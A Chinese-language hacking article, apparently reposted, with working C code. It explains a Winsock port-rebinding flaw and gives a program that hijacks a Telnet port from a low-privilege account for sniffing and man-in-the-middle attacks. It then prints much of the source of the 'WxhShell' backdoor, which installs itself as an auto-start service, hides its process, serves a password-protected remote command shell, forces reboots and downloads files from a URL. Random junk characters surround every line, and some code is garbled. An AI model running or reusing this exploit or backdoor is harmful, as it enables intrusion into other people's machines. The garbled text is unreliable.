在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
UD^=@?^7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%S<))G LXm@h saddr.sin_family = AF_INET;
/l;_ xs 1l\.>H\E saddr.sin_addr.s_addr = htonl(INADDR_ANY);
TmEh$M 7x.]
9J bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
vWjHHw $LOf2 kn 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1HUe8m[#3 B*n_
VBd 这意味着什么?意味着可以进行如下的攻击:
L\\'n ) ja^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$"fO/8Ex j){0>O.V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
PKYm{wO- U%KsD 4B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fDwqu.K YZz8xtM<2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!jRs5{n^Ol [>|6qY$D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Zz! yv(e)H spTIhZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6&,9=(:J&R ~>rnq7j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;ApldoMi % E8s>D #include
DS0:^TLI #include
7mnZ,gpb #include
ogG:Ai)90 #include
WTUC\}#E\ DWORD WINAPI ClientThread(LPVOID lpParam);
x{1S!A^ int main()
)V9wU1. {
%QQJSake| WORD wVersionRequested;
Xe@:Aun DWORD ret;
5wbR}`8 WSADATA wsaData;
~2O1$o u BOOL val;
-S
0dr8E SOCKADDR_IN saddr;
!XT2'6nu SOCKADDR_IN scaddr;
h3MZLPe int err;
tfPe-U SOCKET s;
|yi#6!}^ SOCKET sc;
3Cg0^~?6- int caddsize;
OVEQ^\Q5D HANDLE mt;
a4Y43 n DWORD tid;
< [q{0, wVersionRequested = MAKEWORD( 2, 2 );
DVw 04ay% err = WSAStartup( wVersionRequested, &wsaData );
y@Ak_]{b if ( err != 0 ) {
APq Yf<W printf("error!WSAStartup failed!\n");
Y
>U_l:_^ return -1;
/v7o!D1G }
CB>*(Mu saddr.sin_family = AF_INET;
P5`BrY,hZ 2I0Zr;\f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7xCm"jgP l*+9R saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Jv59zI saddr.sin_port = htons(23);
3EA`]&d> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h8:5[;e {
EOG&Xa printf("error!socket failed!\n");
k.W1bF9n6 return -1;
II{"6YI> }
xkfW^r val = TRUE;
Rz=wInFs //SO_REUSEADDR选项就是可以实现端口重绑定的
ilkN3J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
E/3<8cV {
u*8x.UE8C0 printf("error!setsockopt failed!\n");
/`b`ai8`8 return -1;
m-HBoN }
7X/KQ97 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ZW`wA2R0
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
m&k l_f7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`tJ"wpCf6 Wrs6t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;I]$N]8YI {
o*:D/"gb ret=GetLastError();
Z1R{'@Y0Z printf("error!bind failed!\n");
aa/_:V@$~ return -1;
,W5!=\Gg( }
z;Dc#SZnO( listen(s,2);
lBNB8c0e"{ while(1)
'?qI_LP? {
i`7:^v; caddsize = sizeof(scaddr);
UUqA^yJ //接受连接请求
0;2ApYks sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Ex4)R2c* if(sc!=INVALID_SOCKET)
a5uBQ? {
"1ov< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c>L#(D\\ if(mt==NULL)
^d!I{ y# {
#oxP,LR printf("Thread Creat Failed!\n");
"eR-(c1 break;
!t|2&R$IQ }
MbyV_A`r_ }
zC>zkFT>H CloseHandle(mt);
m" c6^)U }
HKG8X=" closesocket(s);
ant#bDb/ WSACleanup();
.[S\&uRv return 0;
-E-e! }
c!J|vRA5 DWORD WINAPI ClientThread(LPVOID lpParam)
iB3C.wd- {
6(V"xjK SOCKET ss = (SOCKET)lpParam;
)*Rr5l /l SOCKET sc;
ivJTE unsigned char buf[4096];
VMJK9|JC[ SOCKADDR_IN saddr;
~A,(D- long num;
GLa_[9 " DWORD val;
UOkVU*{ DWORD ret;
+p0Y*. //如果是隐藏端口应用的话,可以在此处加一些判断
W>J1JaO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
osI0m7ws: saddr.sin_family = AF_INET;
QHw{@* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
QUz_2rN^ saddr.sin_port = htons(23);
? io,8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
![/ QW {
QA#
7T3| printf("error!socket failed!\n");
XrN]}S$N return -1;
vfOG(EkG.? }
T,5(JP(h3 val = 100;
NU.YL1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/|,:'W%U {
Y!3i3D ret = GetLastError();
oE$zOS&2 return -1;
:}[D;cx }
9 N9Q#o$!. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#gRtCoew {
.MW/XnCYs4 ret = GetLastError();
s|-g) return -1;
1owe'7\J }
0l~z0pvT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
i
z
dJ,8 {
]vq=~x printf("error!socket connect failed!\n");
'2v$xOh!y closesocket(sc);
;-!O+c closesocket(ss);
-ei+r# return -1;
tq2TiXo% }
-59;Zn/ while(1)
!-s 6B {
uEDvdd#V. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
>(eR0.x //如果是嗅探内容的话,可以再此处进行内容分析和记录
[_zoJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
RbJbVFz8C num = recv(ss,buf,4096,0);
W>m#Mz if(num>0)
8t1,_,2' send(sc,buf,num,0);
s -),Pv| else if(num==0)
I_On0@%T5b break;
bh UghHT num = recv(sc,buf,4096,0);
;#S4$wISw` if(num>0)
!E9A=u{ send(ss,buf,num,0);
jQY^[A else if(num==0)
1eMaKT_= break;
!k=~a] }
-ZBSkyMGy closesocket(ss);
W Z^u%Z closesocket(sc);
y\}<N6 return 0 ;
5c-'m?k }
*","u;& <77v8=as5 ,=y8[(h ==========================================================
m'5rzZP .$s=E8fW 下边附上一个代码,,WXhSHELL
6x"|,,&MD0 $jL+15^N0+ ==========================================================
Tg/rV5@ka 07A2@dx #include "stdafx.h"
l5,}yTUta bb"x^DtT #include <stdio.h>
,[)f-FmcU #include <string.h>
@-Ln* 3n #include <windows.h>
<PXnR\ #include <winsock2.h>
JU RJN+)z #include <winsvc.h>
19;F+%no# #include <urlmon.h>
t$5)6zG D8wZC'7 #pragma comment (lib, "Ws2_32.lib")
BV6
U - #pragma comment (lib, "urlmon.lib")
LKI2R_|n M;1B}x@ #define MAX_USER 100 // 最大客户端连接数
Ub<^;Du5 #define BUF_SOCK 200 // sock buffer
<!I^ xo[ #define KEY_BUFF 255 // 输入 buffer
dJUI.!hv; `&qeSEs\ #define REBOOT 0 // 重启
?\Lf=[ #define SHUTDOWN 1 // 关机
c9axzg
UA n]J;BW&Av #define DEF_PORT 5000 // 监听端口
7wwlZ;w !-Md+I_ #define REG_LEN 16 // 注册表键长度
n<66 7
< #define SVC_LEN 80 // NT服务名长度
(S
k+nD _-bEnF+/0 // 从dll定义API
jGKas I` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$Y_v X
2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ulxy 4] h typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*OMW" NZ; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
XyE%<] qjVhBu7A // wxhshell配置信息
iV8O<en&i struct WSCFG {
<[<]+r&* int ws_port; // 监听端口
\z)` pno char ws_passstr[REG_LEN]; // 口令
~h6aTN int ws_autoins; // 安装标记, 1=yes 0=no
$sBje*; char ws_regname[REG_LEN]; // 注册表键名
yZ57uz char ws_svcname[REG_LEN]; // 服务名
%<Kw char ws_svcdisp[SVC_LEN]; // 服务显示名
\A/??8cgXs char ws_svcdesc[SVC_LEN]; // 服务描述信息
{B+{2;Zk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"ba>.h,#' int ws_downexe; // 下载执行标记, 1=yes 0=no
Xw{Qktn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%[7<GcWl char ws_filenam[SVC_LEN]; // 下载后保存的文件名
YztW1GvI c;1Xu1 };
</7_T<He. ^ G@o} Z // default Wxhshell configuration
LwS>jNJx struct WSCFG wscfg={DEF_PORT,
M>"J5yqR "xuhuanlingzhe",
Pg/$N5-> 1,
zoI0oA "Wxhshell",
9Z;"9$+M "Wxhshell",
QX&1BKqWn "WxhShell Service",
coFQu ;i "Wrsky Windows CmdShell Service",
\)mV2r!% "Please Input Your Password: ",
$09PZBF,i 1,
#ysSfM6 "
http://www.wrsky.com/wxhshell.exe",
/\|AHM "Wxhshell.exe"
!'T,%8'] };
ECEDNib @8s:,Y_ // 消息定义模块
QR]61v:` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
XH{P@2~l char *msg_ws_prompt="\n\r? for help\n\r#>";
DqTp*hI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[d/uy>z, char *msg_ws_ext="\n\rExit.";
E<
Ini'od[ char *msg_ws_end="\n\rQuit.";
&Eqa y' char *msg_ws_boot="\n\rReboot...";
9q|36CAO_ char *msg_ws_poff="\n\rShutdown...";
@E@5/N6M char *msg_ws_down="\n\rSave to ";
j,i>
1|J v^QUYsar char *msg_ws_err="\n\rErr!";
b^I(>l- char *msg_ws_ok="\n\rOK!";
8ECBi( 8WvQ[cd char ExeFile[MAX_PATH];
%44Z7 int nUser = 0;
WjsE#9D!of HANDLE handles[MAX_USER];
g_F-PT>($ int OsIsNt;
*^b<CZd9 ;fnE"} SERVICE_STATUS serviceStatus;
lH8e?zJ SERVICE_STATUS_HANDLE hServiceStatusHandle;
8{iFxTz u*i[A\Y // 函数声明
N
J_#;t#j int Install(void);
wSP'pM{#2 int Uninstall(void);
0?d}Oj int DownloadFile(char *sURL, SOCKET wsh);
_
BUD~'Q5 int Boot(int flag);
qD/X% `>Q void HideProc(void);
i!9|R)c int GetOsVer(void);
It8m]FN int Wxhshell(SOCKET wsl);
9#A&Qvyywg void TalkWithClient(void *cs);
4x%R4tk int CmdShell(SOCKET sock);
|g}~7*+i int StartFromService(void);
#X?#v7i",D int StartWxhshell(LPSTR lpCmdLine);
n.\|NR'v ?g\SF}2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%~A$cc VOID WINAPI NTServiceHandler( DWORD fdwControl );
a]mPc^h BavGirCp
// 数据结构和表定义
:k*3?*'K SERVICE_TABLE_ENTRY DispatchTable[] =
#>/stU- {
m^rrbU+HM? {wscfg.ws_svcname, NTServiceMain},
iS%md {NULL, NULL}
b`Agb<x" };
/,cyp. o$FYCz n // 自我安装
E5U{.45 int Install(void)
)@OKL0t {
'z.:
e+Q_ char svExeFile[MAX_PATH];
8rwXbYx
x HKEY key;
@+`">a8}, strcpy(svExeFile,ExeFile);
\C(dWs 6EeK5XLf, // 如果是win9x系统,修改注册表设为自启动
tQ >
IJ if(!OsIsNt) {
",&c"r4c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g=)djXW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ttaYtV]] RegCloseKey(key);
tf+5@Zf]4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+W-,74A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IFg(Ze~ RegCloseKey(key);
Jm(sx'qPx return 0;
.]\+JTm }
hXE_OXZ }
C)|{7W }
$6 A91|ZSQ else {
c6 tB9b |f.R]+cH // 如果是NT以上系统,安装为系统服务
P)$q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!e"TWO*X if (schSCManager!=0)
QTNE.n<? {
RU'
WHk SC_HANDLE schService = CreateService
%ut7T!Jp (
Q|`sYm'. schSCManager,
;0!rq^JG wscfg.ws_svcname,
0f<$S$~h wscfg.ws_svcdisp,
lN-[2vT< SERVICE_ALL_ACCESS,
!] -ET7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X+*"FKm S. SERVICE_AUTO_START,
z&@Vg`w" SERVICE_ERROR_NORMAL,
w u svExeFile,
u0vq`5L NULL,
MiX*PqNTM NULL,
ct3^V M&/ NULL,
=h{jF7 NULL,
oNfNe^/T NULL
cG`R\$ );
du:%{4 if (schService!=0)
GGY WvGE+ {
*A,h^ CloseServiceHandle(schService);
uk(|c-_]~c CloseServiceHandle(schSCManager);
B[I
a8t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e{dYLQd strcat(svExeFile,wscfg.ws_svcname);
)|` #BC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ny. YkN2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!VfP#B6. RegCloseKey(key);
Cy~Pfty return 0;
O\(0{qu }
@%5$x]^ }
NzP5s&,C69 CloseServiceHandle(schSCManager);
9mT;>mE }
=[$zR>o*% }
*:*Kdt`'G |Ir&C[QS{y return 1;
)^C w }
laQM*FLg X8Xw' // 自我卸载
5V^+;eO int Uninstall(void)
\Q5Jg {
-zq_W+)ks HKEY key;
Z3)l5JG) ezC2E/# if(!OsIsNt) {
: Nf-}" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?1f(@ RegDeleteValue(key,wscfg.ws_regname);
NG2@.hP:uU RegCloseKey(key);
j;|rI`67~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f~LM-7!zf} RegDeleteValue(key,wscfg.ws_regname);
1P'R-I RegCloseKey(key);
OC [ +t6 return 0;
~S],)E1w }
k365.nc }
\*C}[D }
$
+` else {
sKkk+-J4 &4%j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)i;o\UU if (schSCManager!=0)
5Z`9L|3d {
.mse.$TK.^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T =l4Vb{> if (schService!=0)
q0oNRAvn" {
1i.t^PY if(DeleteService(schService)!=0) {
<R6$ kom` CloseServiceHandle(schService);
fh1rmet&Ts CloseServiceHandle(schSCManager);
t/= xY'7 return 0;
7%-+7O 3ud }
l~/g^lN CloseServiceHandle(schService);
\s.c.c*eh; }
~olta\| CloseServiceHandle(schSCManager);
<V}^c/c! }
2xchjU- }
%D(%
lh2 LV:`siK return 1;
xJvM
l`2; }
QT5,_+ho K#B)@W?9 // 从指定url下载文件
\`|*i$ int DownloadFile(char *sURL, SOCKET wsh)
A&$oiLc {
`g;`yJX< HRESULT hr;
H)s$0Xd
char seps[]= "/";
L
y!!+UM\ char *token;
8H>: C(h char *file;
_pXy}D char myURL[MAX_PATH];
Kw%n;GFl' char myFILE[MAX_PATH];
Hw1<!Dyv a8#6}`|C? strcpy(myURL,sURL);
Ol,Tw=? token=strtok(myURL,seps);
qc*z`Wz: while(token!=NULL)
8?lp:kM {
UqaLTdYG file=token;
%n3lm(-0U token=strtok(NULL,seps);
m17H#!` }
{%S>!RA "g)@jqq:> GetCurrentDirectory(MAX_PATH,myFILE);
2BU%4IG strcat(myFILE, "\\");
!,mv 7Yj strcat(myFILE, file);
1k5o?'3& send(wsh,myFILE,strlen(myFILE),0);
?(cbZ#( o send(wsh,"...",3,0);
<bPn<QI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@
(UacFO if(hr==S_OK)
7*e7P[LQU return 0;
A~CQ@ else
IAD_Tck return 1;
3H0~?z_ 9B lc }
IH;+pN .c[v /SB] // 系统电源模块
MCOz-8@|Y int Boot(int flag)
=R08B)yR {
Rw$>()}H8 HANDLE hToken;
$J>J@4 TOKEN_PRIVILEGES tkp;
n\Z&sc ]%yph3C if(OsIsNt) {
FbMX?T"yH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}c>[m,lz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D\~*| J tkp.PrivilegeCount = 1;
RcUKe, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E6iUa' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Rh7unJ if(flag==REBOOT) {
MPINxS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\($EYhx return 0;
"y_A xOH }
&;~x{q]3 else {
o}XbFLn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`%lgT+~T return 0;
\:cr2 w'c }
#>m#i1Nu }
-5Qsc/s& else {
(UDR=7w) if(flag==REBOOT) {
$7{| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;><9R@0 return 0;
6Q&R,"!$p }
U*G9 fpVy else {
[vuqH:Ln if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K)|#FRPM u return 0;
fr~e!!$H }
c;w%R8z }
#GBe=tm\K FF:Y7wXW return 1;
9kcp( }
b?#k S ^?&a5{o // win9x进程隐藏模块
>gAq/'.Q void HideProc(void)
@\,WJmW {
s2t'jIB gf`uC0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
p&wXRI if ( hKernel != NULL )
S0V%JY;Gv {
H\tz"<*`` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7xAzd#
c?= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
m^dKww FreeLibrary(hKernel);
)NeI]p }
VmLV:"P}^ Hcw@24ic return;
|A_yr/f }
OO..
Y a9=,P // 获取操作系统版本
,Mf@I5? int GetOsVer(void)
73?ZB+\)0A {
[4:_6vd7X OSVERSIONINFO winfo;
Ds|/\cI$%a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
V\8vJ3.YV GetVersionEx(&winfo);
A~ugx~S0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.YquOCc( return 1;
C'C'@?] else
SRq0y,d return 0;
OM!CP'u#{ }
L^: +8g 8fzmCRFH // 客户端句柄模块
/esSM~*H int Wxhshell(SOCKET wsl)
>#z*gCO5, {
pEIc?i* SOCKET wsh;
#87:Or1 struct sockaddr_in client;
*S.R#4w DWORD myID;
uX*H2"A t?p[w&@M2 while(nUser<MAX_USER)
KQ<pQkhv {
,?;q$Xoi int nSize=sizeof(client);
riqv v1Nce wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7_ g}t!b` if(wsh==INVALID_SOCKET) return 1;
8=x{>&Jr D T^3K5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yyJ4r}TE if(handles[nUser]==0)
f/G
YDat closesocket(wsh);
"=I
ioY else
vS%r_gf( nUser++;
JFVal# }
,o-BJ
069 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
H"W%+{AR $FEG0& return 0;
U@v=q9'W }
y?W8FL '|n-w\
>Wv // 关闭 socket
Hw8`/'M=%5 void CloseIt(SOCKET wsh)
cF_hU" {
n|F$qV_p\ closesocket(wsh);
HqXaT6#/ nUser--;
b]hP;QK`U$ ExitThread(0);
O#Ab1FQn }
\?)@
#Qs 6P;JF%{J // 客户端请求句柄
N<ww&GXBX void TalkWithClient(void *cs)
\k;)m-0bj{ {
e"^* ~'mJ l+S08IZ SOCKET wsh=(SOCKET)cs;
jJ-j char pwd[SVC_LEN];
b@@`2O3" char cmd[KEY_BUFF];
6R% I) char chr[1];
X_XeI!,b int i,j;
'M2Jw8i UX=JWb_uGm while (nUser < MAX_USER) {
'S<ebwRd= TfK$tTkM if(wscfg.ws_passstr) {
&G?b|Tb2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?1 $.^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@qH{; //ZeroMemory(pwd,KEY_BUFF);
H"f%\' i=0;
0hK)/!Y while(i<SVC_LEN) {
5%C-eB >(EMZ5 // 设置超时
uN V(r" fd_set FdRead;
pulE6T7x struct timeval TimeOut;
\:C@L&3[ FD_ZERO(&FdRead);
6JBE=9d-Q FD_SET(wsh,&FdRead);
I0oM\~# TimeOut.tv_sec=8;
-8&M^- TimeOut.tv_usec=0;
t5n$sF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,6?L.L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+avu&2B *b9=&:pU( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_
v\=ag pwd
=chr[0]; MnUal}MO
if(chr[0]==0xd || chr[0]==0xa) { z>+@pj
pwd=0; lil1$K: i
break; nE)?P*$3 Z
} g9I2 e<;o
i++; ZZp6@@zyq'
} I$v*SeVHE
rmutw~nHD
// 如果是非法用户,关闭 socket >[B[Q_})
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EI6K0{'&X
} ::N'tcZ^2
"#^11 o8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4Y8/>uL
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 62Yi1<kV@
9r!psRA:`)
while(1) { <<K G S
EX UjdJs"
ZeroMemory(cmd,KEY_BUFF); 5
rkIK
W\gu"g`u
// 自动支持客户端 telnet标准 hkeOe
j=0; jI!}}K)d
while(j<KEY_BUFF) { wN8-Me
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TG'_1m*$
cmd[j]=chr[0]; ^B~z .F
i
if(chr[0]==0xa || chr[0]==0xd) { g|8G!7O
cmd[j]=0; ZFh2v]|!
break; WPiQ+(pt
} 4M'y9 (
j++; 82Dw,Cn
} %JmSCjt`G
z/aZD\[_
// 下载文件 PX}YDC zP$
if(strstr(cmd,"http://")) { hSE\RX 9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hl?G_%a
if(DownloadFile(cmd,wsh)) Oe=7z'o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rI)op1K
else Hrm^@3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z/(^E8F
} BXyg ?
else { hb'S!N5m
&m_4#
switch(cmd[0]) { .zO/8y(@
\wqi_[A
// 帮助 EE5I~k5
case '?': { GV'Y'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I|]~f[xI
break;
chW 1UE
} {b~l[
// 安装 4JSf t
t
case 'i': { tWy0%
-
if(Install()) -v#0.3zm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7(AB5.O
else Sb I %|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rAq2
break; | u{NM1,
} $TS4YaJ%
// 卸载 (mIw3d8Tz
case 'r': { AdDlS~\?
if(Uninstall()) X-O/&WRYQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CEjMHP$=
else fvgjqiT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tb#. Y
break; 5SKj% %B2,
} :clMO|
// 显示 wxhshell 所在路径 hs< )<
case 'p': { ;LM`B^Q]s
char svExeFile[MAX_PATH]; :G\f(2@
strcpy(svExeFile,"\n\r"); n!e4"|4~z
strcat(svExeFile,ExeFile); ;@xSJqT
send(wsh,svExeFile,strlen(svExeFile),0); o8c4h<,
break; Cc7PhoPK
} ~YO99PP
// 重启 9`eu&n@Z
case 'b': { 3:1
h:Yc<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xi`K`Cu+
if(Boot(REBOOT)) [h20y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -E_lwK
else { `MtI>x
c
closesocket(wsh); ;(AVZxCM
ExitThread(0); ~Qjf-|
} 7:'7EqM
break; V'y,{YpP
} nS'hdeoW
// 关机 ^"N]i`dIF
case 'd': { 0w[#`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2;N)>[3*J
if(Boot(SHUTDOWN)) W,'30:#Fr7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^=drNV
else { w3oh8NRs_
closesocket(wsh); Ux5pw
ExitThread(0); f&x7g. I
} \UZlFE
break; 2Ur9*#~kGp
} DY| s|:d
// 获取shell {1a%CsCM
case 's': { co^kP##Y
CmdShell(wsh); *0M[lR0t
closesocket(wsh); dNd(57
ExitThread(0); ;s
m )f
break; .
Z 93S|q
} NJ\ID=3l
// 退出 n@IpO
i$Q
case 'x': { ^)|8N44O
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `rEu8u
CloseIt(wsh); "i3wc&9!?W
break; ^]_[dqd
} z&x
^Dl
// 离开 62{(i'K
case 'q': { \D
Oq x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .;#Wf@V
closesocket(wsh); @T>\pP]o
WSACleanup(); >S\D+1PV
exit(1);
fX"cQ&
break; %dA6vHI,
} h8# 14?
} ft$@':F
} 'a8{YT4
Fo
K!JX*
// 提示信息 X.^S@3[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i> }P V
} UbDRzum
} $2lrP]`>j.
<7-Qn(m,
return; zF'LbQz0[
} ^lADq']
xz5V.
// shell模块句柄 XNODDH
int CmdShell(SOCKET sock) VHwAO:+-
{ _`'VOY`o
STARTUPINFO si; Wx~N1+
ZeroMemory(&si,sizeof(si)); X6hm,0[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Ih:$"$!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PtP{_9%Dz
PROCESS_INFORMATION ProcessInfo; 2Fwp\I;
char cmdline[]="cmd"; NF9fPAF%;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [=f(u
wY>g
return 0; Pv@P(y?\
} pGS!Nn;K2
,+LX.f&/8!
// 自身启动模式 V $'~2v{_
int StartFromService(void) =gSa?pd
{ :xqhPr]e
typedef struct M.b1=Y
{ ~MuD`a7#G
DWORD ExitStatus; s#phs`v
DWORD PebBaseAddress; t]dtBt].:
DWORD AffinityMask; LU'<EXUbY
DWORD BasePriority; la37cG
